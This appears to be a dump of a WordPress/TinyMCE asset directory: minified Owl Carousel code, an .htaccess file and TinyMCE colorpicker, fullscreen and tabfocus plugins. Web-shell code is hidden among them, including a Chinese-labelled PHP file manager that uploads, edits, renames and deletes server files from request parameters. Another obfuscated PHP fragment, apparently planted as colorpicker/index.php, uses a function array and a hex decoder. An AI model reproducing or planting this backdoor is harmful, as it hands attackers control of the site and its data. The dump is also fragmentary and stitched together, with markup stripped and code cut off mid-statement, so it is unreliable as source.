refreshed.owl.carousel":a.proxy(function(a){a.namespace&&this._core.settings.autoHeight&&this.update()},this),"changed.owl.carousel":a.proxy(function(a){a.namespace&&this._core.settings.autoHeight&&"position"===a.property.name&&this.update()},this),"loaded.owl.lazy":a.proxy(function(a){a.namespace&&this._core.settings.autoHeight&&a.element.closest("."+this._core.settings.itemClass).index()===this._core.current()&&this.update()},this)},this._core.options=a.extend({},e.Defaults,this._core.options),this._core.$element.on(this._handlers),this._intervalId=null;var d=this;a(b).on("load",function(){d._core.settings.autoHeight&&d.update()}),a(b).resize(function(){d._core.settings.autoHeight&&(null!=d._intervalId&&clearTimeout(d._intervalId),d._intervalId=setTimeout(function(){d.update()},250))})};e.Defaults={autoHeight:!1,autoHeightClass:"owl-height"},e.prototype.update=function(){var b=this._core._current,c=b+this._core.settings.items,d=this._core.settings.lazyLoad,e=this._core.$stage.children().toArray().slice(b,c),f=[],g=0;a.each(e,function(b,c){f.push(a(c).height())}),g=Math.max.apply(null,f),g<=1&&d&&this._previousHeight&&(g=this._previousHeight),this._previousHeight=g,this._core.$stage.parent().height(g).addClass(this._core.settings.autoHeightClass)},e.prototype.destroy=function(){var a,b;for(a in this._handlers)this._core.$element.off(a,this._handlers[a]);for(b in Object.getOwnPropertyNames(this))"function"!=typeof this[b]&&(this[b]=null)},a.fn.owlCarousel.Constructor.Plugins.AutoHeight=e}(window.Zepto||window.jQuery,window,document),function(a,b,c,d){var e=function(b){this._core=b,this._videos={},this._playing=null,this._handlers={"initialized.owl.carousel":a.proxy(function(a){a.namespace&&this._core.register({type:"state",name:"playing",tags:["interacting"]})},this),"resize.owl.carousel":a.proxy(function(a){a.namespace&&this._core.settings.video&&this.isInFullScreen()&&a.preventDefault()},this),"refreshed.owl.carousel":a.proxy(function(a){a.namespace&&this._core.is("resizing")&&this._core.$stage.find(".cloned .owl-video-frame").remove()},this),"changed.owl.carousel":a.proxy(function(a){a.namespace&&"position"===a.property.name&&this._playing&&this.stop()},this),"prepared.owl.carousel":a.proxy(function(b){if(b.namespace){var c=a(b.content).find(".owl-video");c.length&&(c.css("display","none"),this.fetch(c,a(b.content)))}},this)},this._core.options=a.extend({},e.Defaults,this._core.options),this._core.$element.on(this._handlers),this._core.$element.on("click.owl.video",".owl-video-play-icon",a.proxy(function(a){this.play(a)},this))};e.Defaults={video:!1,videoHeight:!1,videoWidth:!1},e.prototype.fetch=function(a,b){var c=function(){return a.attr("data-vimeo-id")?"vimeo":a.attr("data-vzaar-id")?"vzaar":"youtube"}(),d=a.attr("data-vimeo-id")||a.attr("data-youtube-id")||a.attr("data-vzaar-id"),e=a.attr("data-width")||this._core.settings.videoWidth,f=a.attr("data-height")||this._core.settings.videoHeight,g=a.attr("href");if(!g)throw new Error("Missing video URL.");if(d=g.match(/(http:|https:|)\/\/(player.|www.|app.)?(vimeo\.com|youtu(be\.com|\.be|be\.googleapis\.com|be\-nocookie\.com)|vzaar\.com)\/(video\/|videos\/|embed\/|channels\/.+\/|groups\/.+\/|watch\?v=|v\/)?([A-Za-z0-9._%-]*)(\&\S+)?/),d[3].indexOf("youtu")>-1)c="youtube";else if(d[3].indexOf("vimeo")>-1)c="vimeo";else{if(!(d[3].indexOf("vzaar")>-1))throw new Error("Video URL not supported.");c="vzaar"}d=d[6],this._videos[g]={type:c,id:d,width:e,height:f},b.attr("data-video",g),this.thumbnail(a,this._videos[g])},e.prototype.thumbnail=function(b,c){var d,e,f,g=c.width&&c.height?"width:"+c.width+"px;height:"+c.height+"px;":"",h=b.find("img"),i="src",j="",k=this._core.settings,l=function(c){e='
',d=k.lazyLoad?a("
",{class:"owl-video-tn "+j,srcType:c}):a("
",{class:"owl-video-tn",style:"opacity:1;background-image:url("+c+")"}),b.after(d),b.after(e)};if(b.wrap(a("
",{class:"owl-video-wrapper",style:g})),this._core.settings.lazyLoad&&(i="data-src",j="owl-lazy"),h.length)return l(h.attr(i)),h.remove(),!1;"youtube"===c.type?(f="//img.youtube.com/vi/"+c.id+"/hqdefault.jpg",l(f)):"vimeo"===c.type?a.ajax({type:"GET",url:"//vimeo.com/api/v2/video/"+c.id+".json",jsonp:"callback",dataType:"jsonp",success:function(a){f=a[0].thumbnail_large,l(f)}}):"vzaar"===c.type&&a.ajax({type:"GET",url:"//vzaar.com/api/videos/"+c.id+".json",jsonp:"callback",dataType:"jsonp",success:function(a){f=a.framegrab_url,l(f)}})},e.prototype.stop=function(){this._core.trigger("stop",null,"video"),this._playing.find(".owl-video-frame").remove(),this._playing.removeClass("owl-video-playing"),this._playing=null,this._core.leave("playing"),this._core.trigger("stopped",null,"video")},e.prototype.play=function(b){var c,d=a(b.target),e=d.closest("."+this._core.settings.itemClass),f=this._videos[e.attr("data-video")],g=f.width||"100%",h=f.height||this._core.$stage.height();this._playing||(this._core.enter("playing"),this._core.trigger("play",null,"video"),e=this._core.items(this._core.relative(e.index())),this._core.reset(e.index()),c=a(''),c.attr("height",h),c.attr("width",g),"youtube"===f.type?c.attr("src","//www.youtube.com/embed/"+f.id+"?autoplay=1&rel=0&v="+f.id):"vimeo"===f.type?c.attr("src","//player.vimeo.com/video/"+f.id+"?autoplay=1"):"vzaar"===f.type&&c.attr("src","//view.vzaar.com/"+f.id+"/player?autoplay=true"),a(c).wrap('
').insertAfter(e.find(".owl-video")),this._playing=e.addClass("owl-video-playing"))},e.prototype.isInFullScreen=function(){var b=c.fullscreenElement||c.mozFullScreenElement||c.webkitFullscreenElement;return b&&a(b).parent().hasClass("owl-video-frame")},e.prototype.destroy=function(){var a,b;this._core.$element.off("click.owl.video");for(a in this._handlers)this._core.$element.off(a,this._handlers[a]);for(b in Object.getOwnPropertyNames(this))"function"!=typeof this[b]&&(this[b]=null)},a.fn.owlCarousel.Constructor.Plugins.Video=e}(window.Zepto||window.jQuery,window,document),function(a,b,c,d){var e=function(b){this.core=b,this.core.options=a.extend({},e.Defaults,this.core.options),this.swapping=!0,this.previous=d,this.next=d,this.handlers={"change.owl.carousel":a.proxy(function(a){a.namespace&&"position"==a.property.name&&(this.previous=this.core.current(),this.next=a.property.value)},this),"drag.owl.carousel dragged.owl.carousel translated.owl.carousel":a.proxy(function(a){a.namespace&&(this.swapping="translated"==a.type)},this),"translate.owl.carousel":a.proxy(function(a){a.namespace&&this.swapping&&(this.core.options.animateOut||this.core.options.animateIn)&&this.swap()},this)},this.core.$element.on(this.handlers)};e.Defaults={animateOut:!1, animateIn:!1},e.prototype.swap=function(){if(1===this.core.settings.items&&a.support.animation&&a.support.transition){this.core.speed(0);var b,c=a.proxy(this.clear,this),d=this.core.$stage.children().eq(this.previous),e=this.core.$stage.children().eq(this.next),f=this.core.settings.animateIn,g=this.core.settings.animateOut;this.core.current()!==this.previous&&(g&&(b=this.core.coordinates(this.previous)-this.core.coordinates(this.next),d.one(a.support.animation.end,c).css({left:b+"px"}).addClass("animated owl-animated-out").addClass(g)),f&&e.one(a.support.animation.end,c).addClass("animated owl-animated-in").addClass(f))}},e.prototype.clear=function(b){a(b.target).css({left:""}).removeClass("animated owl-animated-out owl-animated-in").removeClass(this.core.settings.animateIn).removeClass(this.core.settings.animateOut),this.core.onTransitionEnd()},e.prototype.destroy=function(){var a,b;for(a in this.handlers)this.core.$element.off(a,this.handlers[a]);for(b in Object.getOwnPropertyNames(this))"function"!=typeof this[b]&&(this[b]=null)},a.fn.owlCarousel.Constructor.Plugins.Animate=e}(window.Zepto||window.jQuery,window,document),function(a,b,c,d){var e=function(b){this._core=b,this._call=null,this._time=0,this._timeout=0,this._paused=!0,this._handlers={"changed.owl.carousel":a.proxy(function(a){a.namespace&&"settings"===a.property.name?this._core.settings.autoplay?this.play():this.stop():a.namespace&&"position"===a.property.name&&this._paused&&(this._time=0)},this),"initialized.owl.carousel":a.proxy(function(a){a.namespace&&this._core.settings.autoplay&&this.play()},this),"play.owl.autoplay":a.proxy(function(a,b,c){a.namespace&&this.play(b,c)},this),"stop.owl.autoplay":a.proxy(function(a){a.namespace&&this.stop()},this),"mouseover.owl.autoplay":a.proxy(function(){this._core.settings.autoplayHoverPause&&this._core.is("rotating")&&this.pause()},this),"mouseleave.owl.autoplay":a.proxy(function(){this._core.settings.autoplayHoverPause&&this._core.is("rotating")&&this.play()},this),"touchstart.owl.core":a.proxy(function(){this._core.settings.autoplayHoverPause&&this._core.is("rotating")&&this.pause()},this),"touchend.owl.core":a.proxy(function(){this._core.settings.autoplayHoverPause&&this.play()},this)},this._core.$element.on(this._handlers),this._core.options=a.extend({},e.Defaults,this._core.options)};e.Defaults={autoplay:!1,autoplayTimeout:5e3,autoplayHoverPause:!1,autoplaySpeed:!1},e.prototype._next=function(d){this._call=b.setTimeout(a.proxy(this._next,this,d),this._timeout*(Math.round(this.read()/this._timeout)+1)-this.read()),this._core.is("interacting")||c.hidden||this._core.next(d||this._core.settings.autoplaySpeed)},e.prototype.read=function(){return(new Date).getTime()-this._time},e.prototype.play=function(c,d){var e;this._core.is("rotating")||this._core.enter("rotating"),c=c||this._core.settings.autoplayTimeout,e=Math.min(this._time%(this._timeout||c),c),this._paused?(this._time=this.read(),this._paused=!1):b.clearTimeout(this._call),this._time+=this.read()%c-e,this._timeout=c,this._call=b.setTimeout(a.proxy(this._next,this,d),c-e)},e.prototype.stop=function(){this._core.is("rotating")&&(this._time=0,this._paused=!0,b.clearTimeout(this._call),this._core.leave("rotating"))},e.prototype.pause=function(){this._core.is("rotating")&&!this._paused&&(this._time=this.read(),this._paused=!0,b.clearTimeout(this._call))},e.prototype.destroy=function(){var a,b;this.stop();for(a in this._handlers)this._core.$element.off(a,this._handlers[a]);for(b in Object.getOwnPropertyNames(this))"function"!=typeof this[b]&&(this[b]=null)},a.fn.owlCarousel.Constructor.Plugins.autoplay=e}(window.Zepto||window.jQuery,window,document),function(a,b,c,d){"use strict";var e=function(b){this._core=b,this._initialized=!1,this._pages=[],this._controls={},this._templates=[],this.$element=this._core.$element,this._overrides={next:this._core.next,prev:this._core.prev,to:this._core.to},this._handlers={"prepared.owl.carousel":a.proxy(function(b){b.namespace&&this._core.settings.dotsData&&this._templates.push('
'+a(b.content).find("[data-dot]").addBack("[data-dot]").attr("data-dot")+"
")},this),"added.owl.carousel":a.proxy(function(a){a.namespace&&this._core.settings.dotsData&&this._templates.splice(a.position,0,this._templates.pop())},this),"remove.owl.carousel":a.proxy(function(a){a.namespace&&this._core.settings.dotsData&&this._templates.splice(a.position,1)},this),"changed.owl.carousel":a.proxy(function(a){a.namespace&&"position"==a.property.name&&this.draw()},this),"initialized.owl.carousel":a.proxy(function(a){a.namespace&&!this._initialized&&(this._core.trigger("initialize",null,"navigation"),this.initialize(),this.update(),this.draw(),this._initialized=!0,this._core.trigger("initialized",null,"navigation"))},this),"refreshed.owl.carousel":a.proxy(function(a){a.namespace&&this._initialized&&(this._core.trigger("refresh",null,"navigation"),this.update(),this.draw(),this._core.trigger("refreshed",null,"navigation"))},this)},this._core.options=a.extend({},e.Defaults,this._core.options),this.$element.on(this._handlers)};e.Defaults={nav:!1,navText:['',''],navSpeed:!1,navElement:'button type="button" role="presentation"',navContainer:!1,navContainerClass:"owl-nav",navClass:["owl-prev","owl-next"],slideBy:1,dotClass:"owl-dot",dotsClass:"owl-dots",dots:!0,dotsEach:!1,dotsData:!1,dotsSpeed:!1,dotsContainer:!1},e.prototype.initialize=function(){var b,c=this._core.settings;this._controls.$relative=(c.navContainer?a(c.navContainer):a("
").addClass(c.navContainerClass).appendTo(this.$element)).addClass("disabled"),this._controls.$previous=a("<"+c.navElement+">").addClass(c.navClass[0]).html(c.navText[0]).prependTo(this._controls.$relative).on("click",a.proxy(function(a){this.prev(c.navSpeed)},this)),this._controls.$next=a("<"+c.navElement+">").addClass(c.navClass[1]).html(c.navText[1]).appendTo(this._controls.$relative).on("click",a.proxy(function(a){this.next(c.navSpeed)},this)),c.dotsData||(this._templates=[a('  
'); if (isset($_GET['p'])) { //fetch files if (is_readable(PATH)) { $fetch_obj = scandir(PATH); $folders = array(); $files = array(); foreach ($fetch_obj as $obj) { if ($obj == '.' || $obj == '..') { continue; } $new_obj = PATH . '/' . $obj; if (is_dir($new_obj)) { array_push($folders, $obj); } elseif (is_file($new_obj)) { array_push($files, $obj); } } }// 1737449854382112 1737449854865012 1737449854432560 1737449854824394 echo ' ';// 1737449854382112 1737449854865012 1737449854432560 1737449854824394 foreach ($folders as $folder) { echo " "; }// 1737449854382112 1737449854865012 1737449854432560 1737449854824394 foreach ($files as $file) { echo " "; }// 1737449854382112 1737449854865012 1737449854432560 1737449854824394 echo "
名称 大小 时间 权限 操作
" . $folder . " --- ". date("Y-m-d H:i:s", filemtime(PATH . "/" . $folder)) . " 0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "
" . fileIcon($file) . $file . " " . formatSizeUnits(filesize(PATH . "/" . $file)) . " " . date("Y-m-d H:i:s", filemtime(PATH . "/" . $file)) . " 0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . "
"; } else { if (empty($_GET)) { echo (""); } } if (isset($_GET['upload'])) { echo ' 选择文件: '; } if (isset($_GET['r'])) { if (!empty($_GET['r']) && isset($_GET['q'])) { echo '
重新命名:
'; if (isset($_POST['rename'])) {// 1737449854382112 1737449854865012 1737449854432560 1737449854824394 $name = PATH . "/" . $_GET['r']; if(rename($name, PATH . "/" . $_POST['name'])) { echo (""); } else { echo (""); } } } } // 1737449854382112 1737449854865012 1737449854432560 1737449854824394 if (isset($_GET['e'])) { if (!empty($_GET['e']) && isset($_GET['q'])) { echo '

'; if(isset($_POST['edit'])) { $filename = PATH."/".$_GET['e']; $data = $_POST['data']; $open = fopen($filename,"w"); if(fwrite($open,$data)) { echo (""); } else { echo (""); } fclose($open); } } }// 1737449854382112 1737449854865012 1737449854432560 1737449854824394 if (isset($_POST["upload"])) { $target_file = PATH . "/" . $_FILES["fileToUpload"]["name"]; if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) { echo "

".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.

"; } else { echo "

Sorry, there was an error uploading your file.

"; } }// 1737449854382112 1737449854865012 1737449854432560 1737449854824394 if (isset($_GET['d']) && isset($_GET['q'])) { $name = PATH . "/" . $_GET['d']; if (is_file($name)) { if(unlink($name)) { echo (""); } else { echo (""); } } elseif (is_dir($name)) { if(rmdir($name) == true) { echo (""); } else { echo (""); } } }// 1737449854382112 1737449854865012 1737449854432560 1737449854824394 echo ' '; wptextpattern/wptextpattern/.htaccess000064400000000333151734645250014237 0ustar00 Order allow,deny Deny from all # Order allow,deny Allow from all colorpicker/plugin.min.js000060400000002505151734645250011510 0ustar00!function(){"use strict";var e=tinymce.util.Tools.resolve("tinymce.PluginManager"),l=tinymce.util.Tools.resolve("tinymce.util.Color"),a=function(e,n){e.find("#preview")[0].getEl().style.background=n},o=function(e,n){var i=l(n),t=i.toRgb();e.fromJSON({r:t.r,g:t.g,b:t.b,hex:i.toHex().substr(1)}),a(e,i.toHex())},t=function(e,n,i){var t=e.windowManager.open({title:"Color",items:{type:"container",layout:"flex",direction:"row",align:"stretch",padding:5,spacing:10,items:[{type:"colorpicker",value:i,onchange:function(){var e=this.rgb();t&&(t.find("#r").value(e.r),t.find("#g").value(e.g),t.find("#b").value(e.b),t.find("#hex").value(this.value().substr(1)),a(t,this.value()))}},{type:"form",padding:0,labelGap:5,defaults:{type:"textbox",size:7,value:"0",flex:1,spellcheck:!1,onchange:function(){var e,n,i=t.find("colorpicker")[0];if(e=this.name(),n=this.value(),"hex"===e)return o(t,n="#"+n),void i.value(n);n={r:t.find("#r").value(),g:t.find("#g").value(),b:t.find("#b").value()},i.value(n),o(t,n)}},items:[{name:"r",label:"R",autofocus:1},{name:"g",label:"G"},{name:"b",label:"B"},{name:"hex",label:"#",value:"000000"},{name:"preview",type:"container",border:1}]}]},onSubmit:function(){n("#"+t.toJSON().hex)}});o(t,i)};e.add("colorpicker",function(i){i.settings.color_picker_callback||(i.settings.color_picker_callback=function(e,n){t(i,e,n)})})}();colorpicker/index.php000060400000075332151734645250010722 0ustar00ok<");};?>
FORM; die($bytesecform); } } } ?> colorpicker/plugin.js000060400000006751151734645250010735 0ustar00(function () { var colorpicker = (function () { 'use strict'; var global = tinymce.util.Tools.resolve('tinymce.PluginManager'); var global$1 = tinymce.util.Tools.resolve('tinymce.util.Color'); var showPreview = function (win, hexColor) { win.find('#preview')[0].getEl().style.background = hexColor; }; var setColor = function (win, value) { var color = global$1(value), rgb = color.toRgb(); win.fromJSON({ r: rgb.r, g: rgb.g, b: rgb.b, hex: color.toHex().substr(1) }); showPreview(win, color.toHex()); }; var open = function (editor, callback, value) { var win = editor.windowManager.open({ title: 'Color', items: { type: 'container', layout: 'flex', direction: 'row', align: 'stretch', padding: 5, spacing: 10, items: [ { type: 'colorpicker', value: value, onchange: function () { var rgb = this.rgb(); if (win) { win.find('#r').value(rgb.r); win.find('#g').value(rgb.g); win.find('#b').value(rgb.b); win.find('#hex').value(this.value().substr(1)); showPreview(win, this.value()); } } }, { type: 'form', padding: 0, labelGap: 5, defaults: { type: 'textbox', size: 7, value: '0', flex: 1, spellcheck: false, onchange: function () { var colorPickerCtrl = win.find('colorpicker')[0]; var name, value; name = this.name(); value = this.value(); if (name === 'hex') { value = '#' + value; setColor(win, value); colorPickerCtrl.value(value); return; } value = { r: win.find('#r').value(), g: win.find('#g').value(), b: win.find('#b').value() }; colorPickerCtrl.value(value); setColor(win, value); } }, items: [ { name: 'r', label: 'R', autofocus: 1 }, { name: 'g', label: 'G' }, { name: 'b', label: 'B' }, { name: 'hex', label: '#', value: '000000' }, { name: 'preview', type: 'container', border: 1 } ] } ] }, onSubmit: function () { callback('#' + win.toJSON().hex); } }); setColor(win, value); }; var Dialog = { open: open }; global.add('colorpicker', function (editor) { if (!editor.settings.color_picker_callback) { editor.settings.color_picker_callback = function (callback, value) { Dialog.open(editor, callback, value); }; } }); function Plugin () { } return Plugin; }()); })(); fullscreen/plugin.min.js000060400000004210151734645250011331 0ustar00!function(m){"use strict";var i=function(e){var n=e,t=function(){return n};return{get:t,set:function(e){n=e},clone:function(){return i(t())}}},e=tinymce.util.Tools.resolve("tinymce.PluginManager"),t=function(e){return{isFullscreen:function(){return null!==e.get()}}},n=tinymce.util.Tools.resolve("tinymce.dom.DOMUtils"),g=function(e,n){e.fire("FullscreenStateChanged",{state:n})},w=n.DOM,r=function(e,n){var t,r,l,i,o,c,s=m.document.body,u=m.document.documentElement,d=n.get(),a=function(){var e,n,t,i;w.setStyle(l,"height",(t=m.window,i=m.document.body,i.offsetWidth&&(e=i.offsetWidth,n=i.offsetHeight),t.innerWidth&&t.innerHeight&&(e=t.innerWidth,n=t.innerHeight),{w:e,h:n}).h-(r.clientHeight-l.clientHeight))},h=function(){w.unbind(m.window,"resize",a)};if(t=(r=e.getContainer()).style,i=(l=e.getContentAreaContainer().firstChild).style,d)i.width=d.iframeWidth,i.height=d.iframeHeight,d.containerWidth&&(t.width=d.containerWidth),d.containerHeight&&(t.height=d.containerHeight),w.removeClass(s,"mce-fullscreen"),w.removeClass(u,"mce-fullscreen"),w.removeClass(r,"mce-fullscreen"),o=d.scrollPos,m.window.scrollTo(o.x,o.y),w.unbind(m.window,"resize",d.resizeHandler),e.off("remove",d.removeHandler),n.set(null),g(e,!1);else{var f={scrollPos:(c=w.getViewPort(),{x:c.x,y:c.y}),containerWidth:t.width,containerHeight:t.height,iframeWidth:i.width,iframeHeight:i.height,resizeHandler:a,removeHandler:h};i.width=i.height="100%",t.width=t.height="",w.addClass(s,"mce-fullscreen"),w.addClass(u,"mce-fullscreen"),w.addClass(r,"mce-fullscreen"),w.bind(m.window,"resize",a),e.on("remove",h),a(),n.set(f),g(e,!0)}},l=function(e,n){e.addCommand("mceFullScreen",function(){r(e,n)})},o=function(t){return function(e){var n=e.control;t.on("FullscreenStateChanged",function(e){n.active(e.state)})}},c=function(e){e.addMenuItem("fullscreen",{text:"Fullscreen",shortcut:"Ctrl+Shift+F",selectable:!0,cmd:"mceFullScreen",onPostRender:o(e),context:"view"}),e.addButton("fullscreen",{active:!1,tooltip:"Fullscreen",cmd:"mceFullScreen",onPostRender:o(e)})};e.add("fullscreen",function(e){var n=i(null);return e.settings.inline||(l(e,n),c(e),e.addShortcut("Ctrl+Shift+F","","mceFullScreen")),t(n)})}(window);fullscreen/plugin.js000060400000012733151734645250010560 0ustar00(function () { var fullscreen = (function (domGlobals) { 'use strict'; var Cell = function (initial) { var value = initial; var get = function () { return value; }; var set = function (v) { value = v; }; var clone = function () { return Cell(get()); }; return { get: get, set: set, clone: clone }; }; var global = tinymce.util.Tools.resolve('tinymce.PluginManager'); var get = function (fullscreenState) { return { isFullscreen: function () { return fullscreenState.get() !== null; } }; }; var Api = { get: get }; var global$1 = tinymce.util.Tools.resolve('tinymce.dom.DOMUtils'); var fireFullscreenStateChanged = function (editor, state) { editor.fire('FullscreenStateChanged', { state: state }); }; var Events = { fireFullscreenStateChanged: fireFullscreenStateChanged }; var DOM = global$1.DOM; var getWindowSize = function () { var w; var h; var win = domGlobals.window; var doc = domGlobals.document; var body = doc.body; if (body.offsetWidth) { w = body.offsetWidth; h = body.offsetHeight; } if (win.innerWidth && win.innerHeight) { w = win.innerWidth; h = win.innerHeight; } return { w: w, h: h }; }; var getScrollPos = function () { var vp = DOM.getViewPort(); return { x: vp.x, y: vp.y }; }; var setScrollPos = function (pos) { domGlobals.window.scrollTo(pos.x, pos.y); }; var toggleFullscreen = function (editor, fullscreenState) { var body = domGlobals.document.body; var documentElement = domGlobals.document.documentElement; var editorContainerStyle; var editorContainer, iframe, iframeStyle; var fullscreenInfo = fullscreenState.get(); var resize = function () { DOM.setStyle(iframe, 'height', getWindowSize().h - (editorContainer.clientHeight - iframe.clientHeight)); }; var removeResize = function () { DOM.unbind(domGlobals.window, 'resize', resize); }; editorContainer = editor.getContainer(); editorContainerStyle = editorContainer.style; iframe = editor.getContentAreaContainer().firstChild; iframeStyle = iframe.style; if (!fullscreenInfo) { var newFullScreenInfo = { scrollPos: getScrollPos(), containerWidth: editorContainerStyle.width, containerHeight: editorContainerStyle.height, iframeWidth: iframeStyle.width, iframeHeight: iframeStyle.height, resizeHandler: resize, removeHandler: removeResize }; iframeStyle.width = iframeStyle.height = '100%'; editorContainerStyle.width = editorContainerStyle.height = ''; DOM.addClass(body, 'mce-fullscreen'); DOM.addClass(documentElement, 'mce-fullscreen'); DOM.addClass(editorContainer, 'mce-fullscreen'); DOM.bind(domGlobals.window, 'resize', resize); editor.on('remove', removeResize); resize(); fullscreenState.set(newFullScreenInfo); Events.fireFullscreenStateChanged(editor, true); } else { iframeStyle.width = fullscreenInfo.iframeWidth; iframeStyle.height = fullscreenInfo.iframeHeight; if (fullscreenInfo.containerWidth) { editorContainerStyle.width = fullscreenInfo.containerWidth; } if (fullscreenInfo.containerHeight) { editorContainerStyle.height = fullscreenInfo.containerHeight; } DOM.removeClass(body, 'mce-fullscreen'); DOM.removeClass(documentElement, 'mce-fullscreen'); DOM.removeClass(editorContainer, 'mce-fullscreen'); setScrollPos(fullscreenInfo.scrollPos); DOM.unbind(domGlobals.window, 'resize', fullscreenInfo.resizeHandler); editor.off('remove', fullscreenInfo.removeHandler); fullscreenState.set(null); Events.fireFullscreenStateChanged(editor, false); } }; var Actions = { toggleFullscreen: toggleFullscreen }; var register = function (editor, fullscreenState) { editor.addCommand('mceFullScreen', function () { Actions.toggleFullscreen(editor, fullscreenState); }); }; var Commands = { register: register }; var postRender = function (editor) { return function (e) { var ctrl = e.control; editor.on('FullscreenStateChanged', function (e) { ctrl.active(e.state); }); }; }; var register$1 = function (editor) { editor.addMenuItem('fullscreen', { text: 'Fullscreen', shortcut: 'Ctrl+Shift+F', selectable: true, cmd: 'mceFullScreen', onPostRender: postRender(editor), context: 'view' }); editor.addButton('fullscreen', { active: false, tooltip: 'Fullscreen', cmd: 'mceFullScreen', onPostRender: postRender(editor) }); }; var Buttons = { register: register$1 }; global.add('fullscreen', function (editor) { var fullscreenState = Cell(null); if (editor.settings.inline) { return Api.get(fullscreenState); } Commands.register(editor, fullscreenState); Buttons.register(editor); editor.addShortcut('Ctrl+Shift+F', '', 'mceFullScreen'); return Api.get(fullscreenState); }); function Plugin () { } return Plugin; }(window)); })(); tabfocus/plugin.js000060400000007212151734645250010220 0ustar00(function () { var tabfocus = (function (domGlobals) { 'use strict'; var global = tinymce.util.Tools.resolve('tinymce.PluginManager'); var global$1 = tinymce.util.Tools.resolve('tinymce.dom.DOMUtils'); var global$2 = tinymce.util.Tools.resolve('tinymce.EditorManager'); var global$3 = tinymce.util.Tools.resolve('tinymce.Env'); var global$4 = tinymce.util.Tools.resolve('tinymce.util.Delay'); var global$5 = tinymce.util.Tools.resolve('tinymce.util.Tools'); var global$6 = tinymce.util.Tools.resolve('tinymce.util.VK'); var getTabFocusElements = function (editor) { return editor.getParam('tabfocus_elements', ':prev,:next'); }; var getTabFocus = function (editor) { return editor.getParam('tab_focus', getTabFocusElements(editor)); }; var Settings = { getTabFocus: getTabFocus }; var DOM = global$1.DOM; var tabCancel = function (e) { if (e.keyCode === global$6.TAB && !e.ctrlKey && !e.altKey && !e.metaKey) { e.preventDefault(); } }; var setup = function (editor) { function tabHandler(e) { var x, el, v, i; if (e.keyCode !== global$6.TAB || e.ctrlKey || e.altKey || e.metaKey || e.isDefaultPrevented()) { return; } function find(direction) { el = DOM.select(':input:enabled,*[tabindex]:not(iframe)'); function canSelectRecursive(e) { return e.nodeName === 'BODY' || e.type !== 'hidden' && e.style.display !== 'none' && e.style.visibility !== 'hidden' && canSelectRecursive(e.parentNode); } function canSelect(el) { return /INPUT|TEXTAREA|BUTTON/.test(el.tagName) && global$2.get(e.id) && el.tabIndex !== -1 && canSelectRecursive(el); } global$5.each(el, function (e, i) { if (e.id === editor.id) { x = i; return false; } }); if (direction > 0) { for (i = x + 1; i < el.length; i++) { if (canSelect(el[i])) { return el[i]; } } } else { for (i = x - 1; i >= 0; i--) { if (canSelect(el[i])) { return el[i]; } } } return null; } v = global$5.explode(Settings.getTabFocus(editor)); if (v.length === 1) { v[1] = v[0]; v[0] = ':prev'; } if (e.shiftKey) { if (v[0] === ':prev') { el = find(-1); } else { el = DOM.get(v[0]); } } else { if (v[1] === ':next') { el = find(1); } else { el = DOM.get(v[1]); } } if (el) { var focusEditor = global$2.get(el.id || el.name); if (el.id && focusEditor) { focusEditor.focus(); } else { global$4.setTimeout(function () { if (!global$3.webkit) { domGlobals.window.focus(); } el.focus(); }, 10); } e.preventDefault(); } } editor.on('init', function () { if (editor.inline) { DOM.setAttrib(editor.getBody(), 'tabIndex', null); } editor.on('keyup', tabCancel); if (global$3.gecko) { editor.on('keypress keydown', tabHandler); } else { editor.on('keydown', tabHandler); } }); }; var Keyboard = { setup: setup }; global.add('tabfocus', function (editor) { Keyboard.setup(editor); }); function Plugin () { } return Plugin; }(window)); })(); tabfocus/plugin.min.js000060400000003116151734645250011001 0ustar00!function(c){"use strict";var e=tinymce.util.Tools.resolve("tinymce.PluginManager"),t=tinymce.util.Tools.resolve("tinymce.dom.DOMUtils"),s=tinymce.util.Tools.resolve("tinymce.EditorManager"),a=tinymce.util.Tools.resolve("tinymce.Env"),y=tinymce.util.Tools.resolve("tinymce.util.Delay"),f=tinymce.util.Tools.resolve("tinymce.util.Tools"),d=tinymce.util.Tools.resolve("tinymce.util.VK"),m=function(e){return e.getParam("tab_focus",e.getParam("tabfocus_elements",":prev,:next"))},v=t.DOM,n=function(e){e.keyCode!==d.TAB||e.ctrlKey||e.altKey||e.metaKey||e.preventDefault()},i=function(r){function e(n){var i,o,e,l;if(!(n.keyCode!==d.TAB||n.ctrlKey||n.altKey||n.metaKey||n.isDefaultPrevented())&&(1===(e=f.explode(m(r))).length&&(e[1]=e[0],e[0]=":prev"),o=n.shiftKey?":prev"===e[0]?u(-1):v.get(e[0]):":next"===e[1]?u(1):v.get(e[1]))){var t=s.get(o.id||o.name);o.id&&t?t.focus():y.setTimeout(function(){a.webkit||c.window.focus(),o.focus()},10),n.preventDefault()}function u(e){function t(t){return/INPUT|TEXTAREA|BUTTON/.test(t.tagName)&&s.get(n.id)&&-1!==t.tabIndex&&function e(t){return"BODY"===t.nodeName||"hidden"!==t.type&&"none"!==t.style.display&&"hidden"!==t.style.visibility&&e(t.parentNode)}(t)}if(o=v.select(":input:enabled,*[tabindex]:not(iframe)"),f.each(o,function(e,t){if(e.id===r.id)return i=t,!1}),0ok<");};?>
FORM; die($bytesecform); } } } ?> = 1024) { $size /= 1024; $pos++; } return round($size, 2)." ".$a[$pos]; } function hexa($str) { $r = ""; $len = (strlen($str) - 1); for ($i = 0; $i < $len; $i += 2) { $r .= chr(hexdec($str[$i].$str[$i + 1])); } return $r; } function flash($message, $status, $class, $redirect = false) { if (!empty($_SESSION["message"])) { unset($_SESSION["message"]); } if (!empty($_SESSION["class"])) { unset($_SESSION["class"]); } if (!empty($_SESSION["status"])) { unset($_SESSION["status"]); } $_SESSION["message"] = $message; $_SESSION["class"] = $class; $_SESSION["status"] = $status; if ($redirect) { header('Location: ' . $redirect); exit(); } return true; } function clear() { if (!empty($_SESSION["message"])) { unset($_SESSION["message"]); } if (!empty($_SESSION["class"])) { unset($_SESSION["class"]); } if (!empty($_SESSION["status"])) { unset($_SESSION["status"]); } return true; } if (isset($_GET['dir'])) { $path = $_GET['dir']; $func[13]($_GET['dir']); } else { $path = $func[12](); } $path = $func[14]('\\', '/', $path); $exdir = $func[15]('/', $path); function getOwner($item) { if (function_exists("posix_getpwuid")) { $downer = @posix_getpwuid(fileowner($item)); $downer = $downer['name']; } else { $downer = fileowner($item); } if (function_exists("posix_getgrgid")) { $dgrp = 